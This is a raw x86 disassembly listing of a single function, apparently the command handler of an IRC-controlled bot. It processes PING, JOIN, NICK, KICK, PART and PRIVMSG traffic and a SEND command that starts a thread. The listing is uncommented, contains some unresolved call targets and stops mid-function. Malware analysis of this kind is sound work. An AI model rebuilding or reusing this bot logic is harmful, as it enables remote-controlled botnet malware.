var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D0F4 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D0F0 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D0EC ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D080
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D02C


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D008
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CFEC
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFB0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFAC
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


